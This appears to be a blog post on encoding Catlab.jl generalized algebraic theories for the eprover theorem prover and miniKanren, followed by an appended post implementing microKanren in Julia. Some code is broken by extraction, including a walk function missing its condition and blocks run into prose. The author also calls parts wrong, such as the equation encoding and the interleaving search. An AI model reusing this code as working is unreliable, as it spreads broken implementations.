## Notes on Synthesis and Equation Proving for Catlab.jl

Catlab is a library and growing ecosystem (I guess the ecosystem is called AlgebraicJulia now) for computational or applied category theory, whatever that may end up meaning.

I have been interested to see if I could find low hanging fruit by applying off the shelf automated theorem proving tech to Catlab.jl.

There area couple problems that seem like some headway might be made in this way:

• Inferring the type of expressions. Catlab category syntax is pretty heavily annotated by objects so this is relatively easy. (id is explicitly tagged by the object at which it is based for example)
• Synthesizing morphisms of a given type.
• Proving equations

In particular two promising candidates for these problems are to use eprover/vampire style automated theorem provers or prolog/kanren logic programming.

## Generalized Algebraic Theories (GATs)

Catlab is built around something known as a Generalized Algebraic Theory. https://algebraicjulia.github.io/Catlab.jl/dev/#What-is-a-GAT? In order to use more conventional tooling, we need to understand GATs in a way that is acceptable to these tools. Basically, can we strip the GAT down to first order logic?

I found GATs rather off putting at first glance. Who ordered that? The nlab article is 1/4 enlightening and 3/4 obscuring. https://ncatlab.org/nlab/show/generalized+algebraic+theory But, in the end of the day, I think it it’s not such a crazy thing.

Because of time invested and natural disposition, I understand things much better when they are put in programming terms. As seems to be not uncommon in Julia, one defines a theory in Catlab using some specialized macro mumbo jumbo.

@theory Category{Ob,Hom} begin
@op begin
(→) := Hom
(⋅) := compose
end

Ob::TYPE
Hom(dom::Ob, codom::Ob)::TYPE

id(A::Ob)::(A → A)
compose(f::(A → B), g::(B → C))::(A → C) ⊣ (A::Ob, B::Ob, C::Ob)

(f ⋅ g) ⋅ h == f ⋅ (g ⋅ h) ⊣ (A::Ob, B::Ob, C::Ob, D::Ob,
f::(A → B), g::(B → C), h::(C → D))
f ⋅ id(B) == f ⊣ (A::Ob, B::Ob, f::(A → B))
id(A) ⋅ f == f ⊣ (A::Ob, B::Ob, f::(A → B))
end

Ok, but this macro boils down to a data structure describing the syntax, typing relations, and axioms of the theory. This data structure is not necessarily meant to be used by end users, and may change in it’s specifics, but I find it clarifying to see it.

Just like my python survival toolkit involves calling dir on everything, my Julia survival toolkit involves hearty application of dump and @macroexpand on anything I can find.

We can see three slots for types terms and axioms. The types describe the signature of the types, how many parameters they have and of what type. The terms describe the appropriate functions and constants of the theory. It’s all kind of straightforward I think. Try to come up with a data structure for this and you’ll probably come up with something similar

I’ve cut some stuff out of the dump because it’s so huge. I’ve placed the full dump at the end of the blog post.

>>> dump(theory(Category))

Catlab.GAT.Theory
types: Array{Catlab.GAT.TypeConstructor}((2,))
1: Catlab.GAT.TypeConstructor
name: Symbol Ob
params: Array{Symbol}((0,))
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
keys: Array{Symbol}((0,))
vals: Array{Union{Expr, Symbol}}((0,))
ndel: Int64 0
dirty: Bool false
doc: String " Object in a category "
2: ... More stuff
terms: Array{Catlab.GAT.TermConstructor}((2,))
1: Catlab.GAT.TermConstructor
name: Symbol id
params: Array{Symbol}((1,))
1: Symbol A
typ: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol A
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
keys: Array{Symbol}((1,))
1: Symbol A
vals: Array{Union{Expr, Symbol}}((1,))
1: Symbol Ob
ndel: Int64 0
dirty: Bool true
doc: Nothing nothing
2: ... More stuff
axioms: Array{Catlab.GAT.AxiomConstructor}((3,))
1: Catlab.GAT.AxiomConstructor
name: Symbol ==
left: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Symbol f
3: Symbol g
3: Symbol h
right: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Symbol f
3: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Symbol g
3: Symbol h
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[5, 0, 0, 0, 1, 0, 4, 0, 2, 7, 0, 6, 0, 0, 0, 3]
keys: Array{Symbol}((7,))
1: Symbol A
2: Symbol B
3: Symbol C
4: Symbol D
5: Symbol f
6: Symbol g
7: Symbol h
vals: Array{Union{Expr, Symbol}}((7,))
1: Symbol Ob
2: Symbol Ob
3: Symbol Ob
4: Symbol Ob
5: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol B
6: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol B
3: Symbol C
7: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol C
3: Symbol D
ndel: Int64 0
dirty: Bool true
doc: Nothing nothing
2: ... More stuff
aliases: ... Stuff

This infrastructure is not necessarily for category theory alone despite being in a package called Catlab. You can describe other algebraic theories, like groups, but you won’t need the full flexibility in typing relations that the “Generalized” of the GAT gets you. The big hangup of category theory that needs this extra power is that categorical composition is a partial function. It is only defined for morphisms whose types line up correctly, whereas any two group elements can be multiplied.

@theory Group(G) begin

G::TYPE

id()::G
mul(f::G, g::G)::G
inv(x::G)::G

mul(mul(f, g), h) == mul(f,  mul(g , h)) ⊣ ( f::G, g::G, h::G)
# and so on
end

Back to the first order logic translation. If you think about it, the turnstile ⊣ separating the context appearing in the Catlab theory definition is basically an implication. The definition id(A)::Hom(A,A) ⊣ (A::Ob) can be read like so: for all A, given A has type Ob it implies that id(A) has type Hom(A,A). We can write this in first order logic using a predicate for the typing relation. $\forall A, type(A,Ob) \implies type(id(A), Hom(A,A))$.

The story I tell about this is that the way this deals with the partiality of compose is that when everything is well typed, compose behaves as it axiomatically should, but when something is not well typed, compose can return total garbage. This is one way to make a partial function total. Just define it to return random trash for the undefined domain values or rather be unwilling to commit to what it does in that case.

Even thought they are the same thing, I have great difficulty getting over the purely syntactical barrier of _::_ vs type(_,_). Infix punctuation never feels like a predicate to me. Maybe I’m crazy.

Turnstiles in general are usually interchangeable with or reflections of implication in some sense. So are the big horizontal lines of inference rules for that matter. I find this all very confusing.

Everything I’ve said above is a bold claim that could be actually proven by demonstrating a rigorous correspondence, but I don’t have enough interest to overcome the tremendous skill gap I’m lacking needed to do so. It could very easily be that I’m missing subtleties.

## Automated Theorem Provers

While the term automated theorem prover could describe any theorem prover than is automated, it happens to connote a particular class of first order logic automated provers of which the E prover and Vampire are canonical examples.

In a previous post, I tried axiomatizing category theory to these provers in a different way https://www.philipzucker.com/category-theory-in-the-e-automated-theorem-prover/ , with a focus on the universal properties of categorical constructions. Catlab has a different flavor and a different encoding seems desirable.

What is particularly appealing about this approach is that these systems are hard wired to handle equality efficiently. So they can handle the equational specification of a Catlab theory. I don’t currently know to interpret to proofs it outputs into something more human comprehensible.

Also, I wasn’t originally aware of this, but eprover has a mode --conjectures-are-questions that will return the answers to existential queries. In this way, eprover can be used as a synthesizer for morphisms of a particular type. This flag gives eprover query capabilities similar to a prolog.

eprover cartcat.tptp --conjectures-are-questions --answers=1 --silent

One small annoying hiccup is that TPTP syntax takes the prolog convention of making quantified variables capitalized. This is not the Catlab convention. A simple way to fix this is to append a prefix of Var* to quantified objects and const* to constant function symbols.

All of the keys in the context dictionary are the quantified variables in an declaration. We can build a map to symbols where they are prefixed with Var

varmap = Dict(map(kv -> kv[1] => Symbol("Var$(kv[1])") , collect(myterm.context ))) And then we can use this map to prefixify other expressions. prefixify(x::Symbol, varmap) = haskey(varmap,x) ? varmap[x] : Symbol( "const$x")
prefixify(x::Expr, varmap) = Expr(x.head, map(y -> prefixify(y, varmap),  x.args)... )

Given these, it has just some string interpolation hackery to port a catlab typing definition into a TPTP syntax axiom about a typing relation

function build_typo(terms)
map(myterm ->  begin
varmap = Dict(map(kv -> kv[1] => Symbol("Var$(kv[1])") , collect(myterm.context ))) prefix_context = Dict(map(kv -> kv[1] => prefixify(kv[2] , varmap) , collect(myterm.context ))) context_terms = map( kv -> "typo($(varmap[kv[1]]), $(kv[2]))", collect(prefix_context)) conc = "typo( const$(myterm.name)($(join(map(p -> prefixify(p,varmap) , myterm.params), ", "))) ,$(prefixify(myterm.typ, varmap)) )"
if length(myterm.context) > 0
"
![$(join(values(varmap),","))]: ($conc <=
($(join( context_terms , " &\n\t"))))" else # special case for empty context "$conc"
end
end
, terms)
end

You can spit out the axioms for a theory like so

query = join(map(t -> "fof( axiom$(t[1]) , axiom,$(t[2]) ).", enumerate(build_typo(theory(CartesianCategory).terms))), "\n")
fof( axiom1 , axiom,
![VarA]:
(typo( constid(VarA) , constHom(VarA, VarA) ) <=
(typo(VarA, constOb))) ).
fof( axiom2 , axiom,
![Varf,VarA,VarB,Varg,VarC]:
(typo( constcompose(Varf, Varg) , constHom(VarA, VarC) ) <=
(typo(Varf, constHom(VarA, VarB)) &
typo(VarA, constOb) &
typo(VarB, constOb) &
typo(Varg, constHom(VarB, VarC)) &
typo(VarC, constOb))) ).
fof( axiom3 , axiom,
![VarA,VarB]:
(typo( constotimes(VarA, VarB) , constOb ) <=
(typo(VarA, constOb) &
typo(VarB, constOb))) ).
fof( axiom4 , axiom,
![Varf,VarA,VarD,VarB,Varg,VarC]:
(typo( constotimes(Varf, Varg) , constHom(constotimes(VarA, VarC), constotimes(VarB, VarD)) ) <=
(typo(Varf, constHom(VarA, VarB)) &
typo(VarA, constOb) &
typo(VarD, constOb) &
typo(VarB, constOb) &
typo(Varg, constHom(VarC, VarD)) &
typo(VarC, constOb))) ).
fof( axiom5 , axiom, typo( constmunit() , constOb ) ).
fof( axiom6 , axiom,
![VarA,VarB]:
(typo( constbraid(VarA, VarB) , constHom(constotimes(VarA, VarB), constotimes(VarB, VarA)) ) <=
(typo(VarA, constOb) &
typo(VarB, constOb))) ).
fof( axiom7 , axiom,
![VarA]:
(typo( constmcopy(VarA) , constHom(VarA, constotimes(VarA, VarA)) ) <=
(typo(VarA, constOb))) ).
fof( axiom8 , axiom,
![VarA]:
(typo( constdelete(VarA) , constHom(VarA, constmunit()) ) <=
(typo(VarA, constOb))) ).
fof( axiom9 , axiom,
![Varf,VarA,VarB,Varg,VarC]:
(typo( constpair(Varf, Varg) , constHom(VarA, constotimes(VarB, VarC)) ) <=
(typo(Varf, constHom(VarA, VarB)) &
typo(VarA, constOb) &
typo(VarB, constOb) &
typo(Varg, constHom(VarA, VarC)) &
typo(VarC, constOb))) ).
fof( axiom10 , axiom,
![VarA,VarB]:
(typo( constproj1(VarA, VarB) , constHom(constotimes(VarA, VarB), VarA) ) <=
(typo(VarA, constOb) &
typo(VarB, constOb))) ).
fof( axiom11 , axiom,
![VarA,VarB]:
(typo( constproj2(VarA, VarB) , constHom(constotimes(VarA, VarB), VarB) ) <=
(typo(VarA, constOb) &
typo(VarB, constOb))) ).

% example synthesis queries
%fof(q , conjecture, ?[F]: (typo( F, constHom(a , a) )  <=  ( typo(a, constOb)  )   ) ).
%fof(q , conjecture, ?[F]: (typo( F, constHom( constotimes(a,b) , constotimes(b,a)) )  <=  ( typo(a, constOb) & typo(b,constOb) )   ) ).
%fof(q , conjecture, ?[F]: (typo( F, constHom( constotimes(a,constotimes(b,constotimes(c,d))) , d) )  <=  ( typo(a, constOb) & typo(b,constOb) & typo(c,constOb) & typo(d,constOb) )   ) ). % this one hurts already without some axiom pruning


For dealing with the equations of the theory, I believe we can just ignore the typing relations. Each equation axiom preserves well-typedness, and as long as our query is also well typed, I don’t think anything will go awry. Here it would be nice to have the proof output of the tool be more human readable, but I don’t know how to do that yet. Edit: It went awry. I currently think this is completely wrong.

function build_eqs(axioms)
map(axiom -> begin
@assert axiom.name == :(==)
varmap = Dict(map(kv -> kv[1] => Symbol("Var$(kv[1])") , collect(axiom.context ))) l = prefixify(axiom.left, varmap) r = prefixify(axiom.right, varmap) "![$(join(values(varmap), ", "))]: $l =$r"
end,
axioms)
end

t = join( map( t -> "fof( axiom$(t[1]), axiom,$(t[2]))."  , enumerate(build_eqs(theory(CartesianCategory).axioms))), "\n")
print(t)
fof( axiom1, axiom, ![Varf, VarA, VarD, VarB, Varh, Varg, VarC]: constcompose(constcompose(Varf, Varg), Varh) = constcompose(Varf, constcompose(Varg, Varh))).
fof( axiom2, axiom, ![Varf, VarA, VarB]: constcompose(Varf, constid(VarB)) = Varf).
fof( axiom3, axiom, ![Varf, VarA, VarB]: constcompose(constid(VarA), Varf) = Varf).
fof( axiom4, axiom, ![Varf, VarA, VarB, Varg, VarC]: constpair(Varf, Varg) = constcompose(constmcopy(VarC), constotimes(Varf, Varg))).
fof( axiom5, axiom, ![VarA, VarB]: constproj1(VarA, VarB) = constotimes(constid(VarA), constdelete(VarB))).
fof( axiom6, axiom, ![VarA, VarB]: constproj2(VarA, VarB) = constotimes(constdelete(VarA), constid(VarB))).
fof( axiom7, axiom, ![Varf, VarA, VarB]: constcompose(Varf, constmcopy(VarB)) = constcompose(constmcopy(VarA), constotimes(Varf, Varf))).
fof( axiom8, axiom, ![Varf, VarA, VarB]: constcompose(Varf, constdelete(VarB)) = constdelete(VarA)).

% silly example query
fof( q, conjecture, ![Varf, Varh, Varg, Varj ]: constcompose(constcompose(constcompose(Varf, Varg), Varh), Varj) = constcompose(Varf, constcompose(Varg, constcompose(Varh,Varj)) )).


It is possible and perhaps desirable fully automating the call to eprover as an external process and then parsing the results back into Julia. Julia has some slick external process facilities https://docs.julialang.org/en/v1/manual/running-external-programs/

## Prolog and Kanrens

It was an interesting revelation to me that the typing relations for morphisms as described in catlab seems like it is already basically in the form amenable to prolog or a Kanren. The variables are universally quantified and there is only one term to the left of the turnstile (which is basically prolog’s :-) This is a Horn clause.

In a recent post I showed how to implement something akin to a minikanren in Julia https://www.philipzucker.com/yet-another-microkanren-in-julia/ I built that with this application in mind

Here’s an example I wrote by hand in in minikaren

(define (typo f t)
(conde
[(fresh (a) (== f 'id) (== t (hom ,a ,a))) ]
[(== f 'f) (== t '(hom a c))]
[(fresh (a b) (== f 'snd) (== t (hom ( ,a ,b) ,b)))]
[(fresh (a b) (== f 'fst) (== t (hom ( ,a ,b) ,a)))]
[(fresh (g h a b c) (== f (comp ,g ,h))
(== t (hom ,a ,c))
(typo g (hom ,a ,b ))
(typo h (hom ,b ,c)))]
[ (fresh (g h a b c) (== f (fan ,g ,h))
(== t (hom ,a (,b ,c)))
(typo g (hom ,a ,b ))
(typo h (hom ,a ,c)))  ]
)
)

;queries
; could lose the hom
;(run 3 (q) (typo  q '(hom (a b) a)))
;(run 3 (q) (typo  q '(hom ((a b) c) a)))
(run 3 (q) (typo  q '(hom (a b) (b a))))

And here is a similar thing written in my Julia minikanren. I had to depth limit it because I goofed up the fair interleaving in my implementation.

function typo(f, t, n)
fresh2( (a,b) -> (f ≅ :fst) ∧ (t  ≅ :(Hom(tup($a,$b),$a)))) ∨ fresh2( (a,b) -> (f ≅ :snd) ∧ (t ≅ :(Hom(tup($a,$b),$b)))) ∨
freshn( 6, (g,h,a,b,c,n2) -> (n ≅ :(succ($n2))) ∧ (f ≅ :(comp($g, $h))) ∧ (t ≅ :(Hom($a,$c))) ∧ @Zzz(typo(g, :(Hom($a,$b)), n2)) ∧ @Zzz(typo(h, :(Hom($b,$c)), n2))) ∨ fresh(a -> (f ≅ :(id($a))) ∧ (t  ≅ :(Hom($a,$a))))
end

run(1, f ->  typo( f  , :(Hom(tup(a,tup(b,tup(c,d))),d)), nat(5)))

## Bits and Bobbles

Discussion on the Catlab zulip. Some interesting discussion here such as an alternative encoding of GATs to FOL https://julialang.zulipchat.com/#narrow/stream/230248-catlab.2Ejl/topic/Automatic.20Theorem.20Proving/near/207919104

Of course, it’d be great it these solvers were bullet proof. But they aren’t. They are solving very hard questions more or less by brute force. So the amount of scaling they can achieve can be resolved by experimentation only. It may be that using these solvers is a dead end. These solvers do have a number of knobs to turn. The command line argument list to eprover is enormous.

These solvers are all facing some bad churn problems

• Morphism composition is known to be a thing that makes dumb search go totally off the rails.
• The identity morphism can be composed arbitrary number of times. This also makes solvers churn
• Some catlab theories are overcomplete.
• Some catlab theories are capable are building up and breaking down the same thing over and over (complicated encodings of id like pair(fst,snd))).

use SMT? https://github.com/ahumenberger/Z3.jl SMT is capable of encoding the equational problems if you use quantifiers (which last I checked these bindings do not yet export) . Results may vary. SMT with quantifiers is not the place where they shine the most. Is there anything else that can be fruitfully encoded to SMT? SAT?

Custom heuristics for search. Purely declarative is too harsh a goal. Having pure Julia solution is important here.

GAP.jl https://github.com/oscar-system/GAP.jl has facilities for knuth-bendix. This might be useful for finitely presented categories. It would be interesting to explore what pieces of computational group theory are applicable or analogous to computational category theory

>>> dump(theory(Category))

Catlab.GAT.Theory
types: Array{Catlab.GAT.TypeConstructor}((2,))
1: Catlab.GAT.TypeConstructor
name: Symbol Ob
params: Array{Symbol}((0,))
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
keys: Array{Symbol}((0,))
vals: Array{Union{Expr, Symbol}}((0,))
ndel: Int64 0
dirty: Bool false
doc: String " Object in a category "
2: Catlab.GAT.TypeConstructor
name: Symbol Hom
params: Array{Symbol}((2,))
1: Symbol dom
2: Symbol codom
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0]
keys: Array{Symbol}((2,))
1: Symbol dom
2: Symbol codom
vals: Array{Union{Expr, Symbol}}((2,))
1: Symbol Ob
2: Symbol Ob
ndel: Int64 0
dirty: Bool true
doc: String " Morphism in a category "
terms: Array{Catlab.GAT.TermConstructor}((2,))
1: Catlab.GAT.TermConstructor
name: Symbol id
params: Array{Symbol}((1,))
1: Symbol A
typ: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol A
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
keys: Array{Symbol}((1,))
1: Symbol A
vals: Array{Union{Expr, Symbol}}((1,))
1: Symbol Ob
ndel: Int64 0
dirty: Bool true
doc: Nothing nothing
2: Catlab.GAT.TermConstructor
name: Symbol compose
params: Array{Symbol}((2,))
1: Symbol f
2: Symbol g
typ: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol C
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[4, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 5, 0, 0, 0, 3]
keys: Array{Symbol}((5,))
1: Symbol A
2: Symbol B
3: Symbol C
4: Symbol f
5: Symbol g
vals: Array{Union{Expr, Symbol}}((5,))
1: Symbol Ob
2: Symbol Ob
3: Symbol Ob
4: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol B
5: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol B
3: Symbol C
ndel: Int64 0
dirty: Bool true
doc: Nothing nothing
axioms: Array{Catlab.GAT.AxiomConstructor}((3,))
1: Catlab.GAT.AxiomConstructor
name: Symbol ==
left: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Symbol f
3: Symbol g
3: Symbol h
right: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Symbol f
3: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Symbol g
3: Symbol h
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[5, 0, 0, 0, 1, 0, 4, 0, 2, 7, 0, 6, 0, 0, 0, 3]
keys: Array{Symbol}((7,))
1: Symbol A
2: Symbol B
3: Symbol C
4: Symbol D
5: Symbol f
6: Symbol g
7: Symbol h
vals: Array{Union{Expr, Symbol}}((7,))
1: Symbol Ob
2: Symbol Ob
3: Symbol Ob
4: Symbol Ob
5: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol B
6: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol B
3: Symbol C
7: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol C
3: Symbol D
ndel: Int64 0
dirty: Bool true
doc: Nothing nothing
2: Catlab.GAT.AxiomConstructor
name: Symbol ==
left: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Symbol f
3: Expr
args: Array{Any}((2,))
1: Symbol id
2: Symbol B
right: Symbol f
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[3, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]
keys: Array{Symbol}((3,))
1: Symbol A
2: Symbol B
3: Symbol f
vals: Array{Union{Expr, Symbol}}((3,))
1: Symbol Ob
2: Symbol Ob
3: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol B
ndel: Int64 0
dirty: Bool true
doc: Nothing nothing
3: Catlab.GAT.AxiomConstructor
name: Symbol ==
left: Expr
args: Array{Any}((3,))
1: Symbol compose
2: Expr
args: Array{Any}((2,))
1: Symbol id
2: Symbol A
3: Symbol f
right: Symbol f
context: OrderedCollections.OrderedDict{Symbol,Union{Expr, Symbol}}
slots: Array{Int32}((16,)) Int32[3, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]
keys: Array{Symbol}((3,))
1: Symbol A
2: Symbol B
3: Symbol f
vals: Array{Union{Expr, Symbol}}((3,))
1: Symbol Ob
2: Symbol Ob
3: Expr
args: Array{Any}((3,))
1: Symbol Hom
2: Symbol A
3: Symbol B
ndel: Int64 0
dirty: Bool true
doc: Nothing nothing
aliases: Dict{Symbol,Symbol}
slots: Array{UInt8}((16,)) UInt8[0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
keys: Array{Symbol}((16,))
1: Symbol ⋅
2: #undef
3: #undef
4: #undef
5: #undef
...
12: #undef
13: #undef
14: #undef
15: #undef
16: #undef
vals: Array{Symbol}((16,))
1: Symbol compose
2: #undef
3: #undef
4: #undef
5: #undef
...
12: #undef
13: #undef
14: #undef
15: #undef
16: #undef
ndel: Int64 0
count: Int64 2
age: UInt64 0x0000000000000002
idxfloor: Int64 1
maxprobe: Int64 0

## Yet Another MicroKanren in Julia

Minikanren is a relation and logic programming language similar in many respects to prolog. It’s designed to be lightweight and embeddable in other host languages.

There is a paper about a minimal implementation call MicroKanren that has spawned many derivatives. It’s impressively short. http://webyrd.net/scheme-2013/papers/HemannMuKanren2013.pdf .

I’m intrigued about such things and have my reasons for building a version of this in Julia (perhaps as an inference engine for Catlab stuff? More on that another day). There are already some implementations, but I’m opinionated and I really wanted to be sure I know how the guts work. Best way is to DIY.

There are at least 3 already existing implementations in Julia alone.

Logic programming consists of basically two pieces, search and unification. The search shows up as a stream. MiniKanren does a kind of clever search by interleaving looking at different branches. This stops it from getting stuck in a bad infinite branch in principle. The interleaving is kind of like a riffled list append.

interleave [] ys = ys
interleave (x:xs)  = x : interleave ys xs 

But then the actual streams used in Kanren have thunks lying around in them that also need to get forced. These thunk positions are where it chooses to switch over to another branch of the search.

Unification is comparing two syntax trees with variables in them. As you scan down them, you can identify which variables correspond to which subtrees in the other structure. You may find a contradictory assignment, or only a partial assignment. I talked more about unification here. Kanren uses triangular substitutions to record the variable assignments. These subsitutions are very convenient to make, but when you want to access a variable, you have to walk through the substitution. It’s a tradeoff.

Here we start describing my Julia implementation. Buyer beware. I’ve been finding very bad bugs very recently.

I diverged from microKanren in a couple ways. I wanted to not use a list based structure for unification. I feel like the most Julian thing to do is to use the Expr data structure that is built by Julia quotation :. You can see here that I tried to use a more imperative style where I could figure out how to, which I think is more idiomatic Julia.

struct Var
x::Symbol
end

function walk(s,u)
u = get(s,u)
end
return u
end

function unify(u,v,s) # basically transcribed from the microkanren paper
u = walk(s,u)
v = walk(s,v)
if isa(u,Var) && isa(v,Var) && u === v # do nothing if same
return s
elseif isa(u,Var)
return assoc(s,u,v)
elseif isa(v,Var)
return assoc(s,v,u)
elseif isa(u, Expr) && isa(v,Expr)
# Only function call expressions are implemented at the moment
if u.args[1] === v.args[1] && length(u.args) == length(v.args) #heads match
for (u,v) in zip( u.args[2:end] , v.args[2:end] )  # unify subpieces
s = unify(u,v,s)
if s === nothing
return nothing
end
end
return s
else # heads don't match or different arity
return nothing
end
else # catchall for Symbols, Integers, etc
if u === v
return s
else
return nothing
end
end
end


I decided to use the gensym facility of Julia to produce new variables. That way I don’t have to thread around a variable counter like microkanren does (Julia is already doing this somewhere under the hood). Makes things a touch simpler. I made a couple fresh combinators for convenience. Basically you pass them an anonymous function and you get fresh logic variables to use.


fresh(f) = f(Var(gensym()))
fresh2(f) = f(Var(gensym()), Var(gensym()))
fresh3(f) = f(Var(gensym()), Var(gensym()), Var(gensym()))
freshn(n, f) = f([Var(gensym()) for i in 1:n ]...) # fishy lookin, but works. Not so obvious the evaluation order here.


Kanren is based around composing goals with disjunction and conjunction. A goal is a function that accepts a current substitution dictionary s and outputs a stream of possible new substitution dictionaries. If the goal fails, it outputs an empty stream. If the goal succeeds only one way, it outputs a singleton stream. I decided to attempt to use iterators to encode my streams. I’m not sure I succeeded. I also decided to forego separating out mplus and unit to match the microkanren notation and inlined their definition here. The simplest implementation of conjunction and disjunction look like this.

# unification goal
eqwal(u,v) = s -> begin
s = unify(u,v,s)
(s == nothing) ? () : (s,)
end

# concatenate them
disj(g1,g2) = s -> Iterators.flatten(  (g1(s)  , g2(s)) )
# bind = "flatmap". flatten ~ join
conj(g1,g2) = s -> Iterators.flatten( map( g2 ,  g1(s) ))

However, the next level throws thunks in the mix. I think I got it to work with a special thunk Iterator type. It mutates the iterator to unthunkify it upon first forcing. I have no idea what the performance characteristics of this are.

# Where do these get forced. Not obvious. Do they get forced when flattened?
mutable struct Thunk #{I}
it # Union{I,Function}
end

function pull(x) # Runs the trampoline
while isa(x,Function)
x = x()
end
x
end

function Base.length(x::Thunk)
x.it = pull(x.it)
Base.length(x.it)
end

function Base.iterate(x::Thunk)
x.it = pull(x.it)
Base.iterate(x.it)
end

function Base.iterate(x::Thunk, state)
x.it = pull(x.it) # Should we assume forced?
Base.iterate(x.it, state)
end

# does this have to be a macro? Yes. For evaluation order. We want g
# evaluating after Zzz is called, not before
macro Zzz(g)
return :(s -> Thunk(() -> $(esc(g))(s))) end Then the fancier conjunction and disjunction are defined like so. I think conjunction does not need to be changed since iterate takes care of the trampoline. (Edit: No this is fundamentally busted insofar as it was intended to be a miniKanren style complete search. It is instead doing something closer to depth first. I might as well not even do the swapping. I suspect one cannot use flatten as is if one wants minikanren style search. ) disj(g1,g2) = s -> begin s1 = g1(s) s2 = g2(s) if isa(s1,Thunk) && isa(s1.it, Function) #s1.forced == false Iterators.flatten( (s2 , s1) ) else Iterators.flatten( (s1 , s2) ) end end conj(g1,g2) = s -> Iterators.flatten( map( g2 , g1(s) )) # eta expansion Nice operator forms of these expressions. It’s a bummer that operator precedence is not use definable. ≅ binds more weakly than ∧ and ∨, which is not what you want.  ∧ = conj # \wedge ∨ = disj # \vee ≅ = eqwal #\cong I skipped using the association list representation of substitutions (Although Assoc Lists are in Base). I’ve seen recommendations one just use persistent dictionaries and it’s just as easy to drop that it. I’m just using a stock persistent dictionary from FunctionalCollections.jl https://github.com/JuliaCollections/FunctionalCollections.jl .  using FunctionalCollections function call_empty(n::Int64, c) # gets back the iterator collect(Iterators.take(c( @Persistent Dict() ), n)) end function run(n, f) q = Var(gensym()) res = call_empty(n, f(q)) return map(s -> walk_star(q,s), res) end # walk_star uses the substition to normalize an expression function walk_star(v,s) v = walk(s,v) if isa(v,Var) return v elseif isa(v,Expr) @assert v.head == :call return Expr(v.head ,vcat( v.args[1], map(v -> walk_star(v,s), v.args[2:end]))...) else return v end end Here’s we define an append relation and an addition relation. They can be used in reverse and all sorts of funny ways! function nat(n) # helper to build peano numbers s = :zero for i in 1:n s = :(succ($s))
end
return s
end

function pluso(x,y,z)
(( x ≅ :zero ) ∧ (y ≅ z) ) ∨
fresh2( (n,m) -> (x ≅ :(succ($n))) ∧ (z ≅ :(succ($m))) ∧ @Zzz(pluso( n, y, m)))
end

function appendo(x,y,z)
(x ≅ :nil) ∧ (y ≅ z) ∨
fresh3( (hd, xs ,zs) ->  (x ≅ :(cons($hd,$xs)) )  ∧ (z ≅ :(cons($hd,$zs)))  ∧ @Zzz( appendo( xs,y,zs )))
end

Here we actually run them and see results to queries.

# add 2 and 2. Only one answer
>>> run(5, z -> pluso(nat(2), nat(2), z))
1-element Array{Expr,1}:
:(succ(succ(succ(succ(zero)))))

>>> run(5, z -> fresh2( (x,y) -> (z ≅ :( tup($x ,$y))) ∧ pluso(x, :(succ(zero)), y)))
5-element Array{Expr,1}:
:(tup(zero, succ(zero)))
:(tup(succ(zero), succ(succ(zero))))
:(tup(succ(succ(zero)), succ(succ(succ(zero)))))
:(tup(succ(succ(succ(zero))), succ(succ(succ(succ(zero))))))
:(tup(succ(succ(succ(succ(zero)))), succ(succ(succ(succ(succ(zero)))))))

>>> run(3, q ->  appendo(   :(cons(3,nil)), :(cons(4,nil)), q )  )
1-element Array{Expr,1}:
:(cons(3, cons(4, nil)))

# subtractive append
>>> run(3, q ->  appendo(   q, :(cons(4,nil)), :(cons(3, cons(4, nil))) )  )
1-element Array{Expr,1}:
:(cons(3, nil))

# generate partitions
